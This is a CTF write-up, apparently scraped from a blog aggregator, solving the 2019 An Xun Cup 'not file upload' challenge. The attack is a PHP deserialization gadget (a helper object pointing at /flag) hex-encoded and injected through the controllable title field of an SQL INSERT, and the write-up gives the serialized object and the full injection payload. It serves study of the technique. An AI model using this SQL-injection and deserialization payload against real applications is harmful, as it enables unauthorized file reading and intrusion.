当前位置:网站首页>[an Xun cup 2019] not file upload
[an Xun cup 2019] not file upload
2022-07-05 03:38:00 【paidx0】


buu Gave the source code link , Go to the source code directly



Take a brief look at , It means uploading pictures , If helper Save pictures in serialized form , So in show Can be deserialized
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
//O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
Then because the variable attribute is protected You need to add... Before the variable name \x00*\x00 Variable name ,private Is to add \x00 Class name \x00 Variable name
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
So I use \0\0\0 To fill in ,show It will be replaced before deserialization
//O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
SQL sentence
INSERT INTO images (implode(",",$sql_fields)) VALUES(implode(",",$sql_val))
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
title,fileame,ext,path,attr
//title This is controllable , Single quote closure
//0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d)#.jpg


边栏推荐
- 【web源码-代码审计方法】审计技巧及审计工具
- Why do some programmers change careers before they are 30?
- Zero foundation uses paddlepaddle to build lenet-5 network
- MySQL winter vacation self-study 2022 11 (10)
- Performance of calling delegates vs methods
- Ubantu disk expansion (VMware)
- v-if VS v-show 2.0
- SQL injection exercise -- sqli Labs
- Machine learning experiment report 1 - linear model, decision tree, neural network part
- [learning notes] month end operation -gr/ir reorganization
猜你喜欢

Ubantu disk expansion (VMware)

The perfect car for successful people: BMW X7! Superior performance, excellent comfort and safety
![[learning notes] month end operation -gr/ir reorganization](/img/4e/9585b7c62527beaa30a74060cb0e94.jpg)
[learning notes] month end operation -gr/ir reorganization

Talk about the SQL server version of DTM sub transaction barrier function

Sqoop installation
![Yuancosmic ecological panorama [2022 latest]](/img/55/0901109e4c865b77137610b4fe0624.jpg)
Yuancosmic ecological panorama [2022 latest]

grandMA2 onPC 3.1.2.5的DMX参数摸索

SQL injection exercise -- sqli Labs

C file in keil cannot be compiled

Mongodb common commands
随机推荐
Talk about the SQL server version of DTM sub transaction barrier function
SQL performance optimization skills
De debugging (set the main thread as hidden debugging to destroy the debugging Channel & debugger detection)
ICSI213/IECE213 Data Structures
Cette ADB MySQL prend - elle en charge SQL Server?
Share the newly released web application development framework based on blazor Technology
Use of kubesphere configuration set (configmap)
[move pictures up, down, left and right through the keyboard in JS]
問下,這個ADB mysql支持sqlserver嗎?
Jd.com 2: how to prevent oversold in the deduction process of commodity inventory?
How rem is used
Dart series: collection of best practices
Basic authorization command for Curl
【web審計-源碼泄露】獲取源碼方法,利用工具
Linux Installation redis
How to make OS X read bash_ Profile instead of Profile file - how to make OS X to read bash_ profile not . profile file
[groovy] groovy environment setup (download groovy | install groovy | configure groovy environment variables)
How can we truncate the float64 type to a specific precision- How can we truncate float64 type to a particular precision?
Single box check box
LeetCode146. LRU cache